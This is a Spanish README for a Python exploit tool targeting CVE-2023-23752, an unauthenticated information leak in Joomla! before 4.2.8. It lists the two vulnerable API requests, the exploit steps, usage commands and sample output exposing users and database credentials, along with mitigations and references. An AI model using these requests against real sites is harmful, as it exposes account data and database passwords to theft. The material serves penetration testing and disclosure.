CVE-2023-23752 — Joomla! < 4.2.8 Divulgación de información no autenticada

⚠️ Aviso: Esta herramienta está destinada exclusivamente a fines educativos y pruebas de penetración autorizadas. Úsala únicamente contra sistemas que te pertenezcan o para los que tengas permiso explícito por escrito. El uso no autorizado es ilegal.

Tabla de contenidos

• Resumen
• Detalles de la vulnerabilidad
• Cómo funciona
• Requisitos
• Instalación
• Uso
• Ejemplos
• Mitigaciones
• Créditos
• Referencias

Resumen

Joomla! es uno de los sistemas de gestión de contenidos (CMS) de código abierto más utilizados. Las versiones 4.0.0 a 4.2.7 exponen dos endpoints de API sin el control de acceso adecuado, lo que permite a un atacante no autenticado recuperar información sensible: cuentas de usuario registradas y, en configuraciones vulnerables, las credenciales de la base de datos del sitio.

La vulnerabilidad fue descubierta por Zewei Zhang del laboratorio NSFOCUS TIANJI y fue notificada al proyecto Joomla!, que publicó un parche en la versión 4.2.8. Se le asignó el identificador CVE-2023-23752.

Este repositorio contiene un puerto en Python del exploit original en Ruby publicado por ACCEIS.

Detalles de la vulnerabilidad

Cómo funciona

Los endpoints de servicios web de la API REST de Joomla! deberían aplicar comprobaciones de autenticación y acceso antes de devolver datos. En las versiones afectadas, dos endpoints no realizan esta comprobación correctamente cuando se invocan con el parámetro public=true, tratando la solicitud como si proviniera de un nivel de acceso anónimo "público" que solo debería exponer datos no sensibles, pero en su lugar filtra información interna.

Los endpoints vulnerables

GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true

• El endpoint users devuelve la lista completa de cuentas registradas: id, nombre para mostrar, nombre de usuario, correo electrónico y pertenencia a grupos.
• El endpoint config devuelve la configuración de la aplicación, incluidos — cuando el instalador no se ha eliminado o endurecido — el host de la base de datos, usuario, contraseña, nombre de la base de datos, prefijo y ajustes de cifrado.

Flujo del exploit

El script automatiza los siguientes pasos:

1. Enviar solicitud GET a /api/index.php/v1/users?public=true
2. Analizar la respuesta JSON:API y extraer los registros de usuario
3. Enviar solicitud GET a /api/index.php/v1/config/application?public=true
4. Analizar la respuesta JSON:API y extraer la configuración del sitio y de la base de datos
5. Mostrar ambos conjuntos de datos en la consola

No se requiere autenticación, sesión ni token CSRF en ningún momento: todo el ataque consiste en dos solicitudes GET no autenticadas.

Requisitos

• Python 3.8+
• requests

pip install requests --break-system-packages

Instalación

git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages

Uso

usage: CVE-2023-23752.py [-h] url

positional arguments:
  url         URL base del objetivo, p. ej. http://dev.devvortex.htb

options:
  -h, --help  mostrar este mensaje de ayuda y salir

Ejemplos

Uso básico

python3 CVE-2023-23752.py http://127.0.0.1:4242

Contra un objetivo estilo HTB

python3 CVE-2023-23752.py http://dev.devvortex.htb

Salida de ejemplo

=== Users ===
  [123] Administrator (admin) - [email protected] - ['Super Users']

=== Site info ===
  Site name: My Site
  Editor: tinymce
  Captcha: 0
  Access: 1
  Debug status: False

=== Database info ===
  DB type: mysqli
  DB host: localhost
  DB user: joomla_user
  DB password: ********
  DB name: joomla_db
  DB prefix: sd8f2_
  DB encryption: 0

Mitigaciones

• Actualiza Joomla! a la versión 4.2.8 o posterior: esta es la única solución completa.
• Restringe el acceso a /api/index.php/* en el servidor web o en el WAF si no es posible actualizar de inmediato.
• Rota las credenciales de cualquier cuenta o usuario de base de datos que pueda haber quedado expuesta a través de este endpoint antes de aplicar el parche.
• Supervisa los registros de acceso en busca de solicitudes no autenticadas a las rutas de servicios web /api/index.php/v1/.

Créditos

• Vulnerabilidad descubierta por: Zewei Zhang, NSFOCUS TIANJI Lab
• Exploit original (Ruby): noraj (Alexandre ZANNI) para ACCEIS — repositorio original
• Puerto en Python: Bardlaudian

Referencias

• NVD — CVE-2023-23752
• Exploit-DB — EDB-51334
• Aviso de PacketStorm
• Aviso de seguridad de Joomla!
• Aviso del descubridor — NSFOCUS
• Exploit Ruby original — Acceis